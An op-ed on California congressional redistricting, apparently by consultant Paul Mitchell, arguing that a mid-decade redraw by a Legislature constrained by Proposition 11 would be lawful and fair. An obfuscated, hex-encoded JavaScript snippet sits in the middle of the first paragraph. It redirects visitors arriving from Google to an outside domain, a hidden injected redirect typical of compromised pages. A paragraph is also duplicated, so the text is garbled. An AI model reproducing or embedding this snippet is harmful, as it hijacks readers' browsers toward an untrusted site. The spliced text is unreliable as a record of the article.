Redistricting: Are the 2011 lines still valid?

The Supreme Court is set to announce a decision in an Arizona redistricting case that could upend the California Redistricting Commission’s congressional lines and return to the Legislature the responsibility for conducting each decennial redraw var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}.  Some prominent leaders in redistricting reform are preparing for this eventuality and urging the Legislature to stand down, allowing the current lines to be carried forward until 2022 and giving reformers a chance to develop a new method for independent redistricting of Congressional lines that wouldn’t conflict with the court’s decision in this case.

This, however, may not be possible or even necessary.

Keeping the existing lines for Congress may not be possible because the state populations have changed in the past five years, meaning that the lines passed in 2011 may not be voting rights act compliant when viewed with the most recent calculations of Latino, Asian and African American density in particular districts.  Additionally, the federal Voting Rights Act has changed, with the effective dismantling of Section 5 which required the commission to draw their maps with very strict rules protecting ethnic populations in four counties, while using different rules for the remaining counties.  The functional impact of Section 5 was to force the drawing of some districts first, and the other districts around them second, a method of advantaging some counties over others in a way that, under current rules, could be seen as a violation of the Act.

Reformers will tell you that the dark art of redistricting it its heyday was worse than the simple Gerrymander you learned about in your High School government class.  But those days are over.

Blocking the State Legislature from updating the current Congressional lines may not be necessary because the law has changed since the 2001 so called “incumbent protection” redistricting.

Proposition 11 and 20 were the two ballot measures which created the commission and then extended their purview to Congressional seats.  Remove Proposition 20 because of a Supreme Court decision, and you still have Proposition 11 which put major constraints on how the Legislature can draw district lines.

California Congressional redistrictings in past decades are filled with stories of backroom deals, members of congress being forced to pay consultants or lose their seats, even the Chairs of the Redistricting and Reapportionment committees not seeing final plans until they were going to be voted on, and other shenanigans.  Reformers will tell you that the dark art of redistricting it its heyday was worse than the simple Gerrymander you learned about in your High School government class.  But those days are over.

If the Legislature was to redraw Congressional lines they would have to have open hearings, just like the commission did, with the commission’s notice requirements, their publically available maps and data, and, like commissioners, they could not confer privately with outside consultants or any member of congress about the district lines.  Every member of the legislature would be firewalled from discussing redistricting with any organization or individual outside of a public hearing. The legislature would be barred from drawing a single map until such time that the public had provided testimony, and once maps were created they would have to be publically available for additional testimony for two weeks before any vote, which would also be public.

Reformers are right to be concerned about the loss of the commission process, and should work to return the work of Congressional redistricting to the Commission provided that there is a constitutional pathway provided by the courts.  However, in the short term, it should not throw out the voting rights act need for constitutional lines over fears about how a reigned-in legislature would draw them.  In the case of a mid-decade redraw there is little reason to believe California would revert to the Wild West of redistricting.

Ed’s Note: Paul Mitchell, a regular contributor to Capitol Weekly, is a political strategist, analyst of campaign data and the owner of Redistricting Partners, a political consulting firm.


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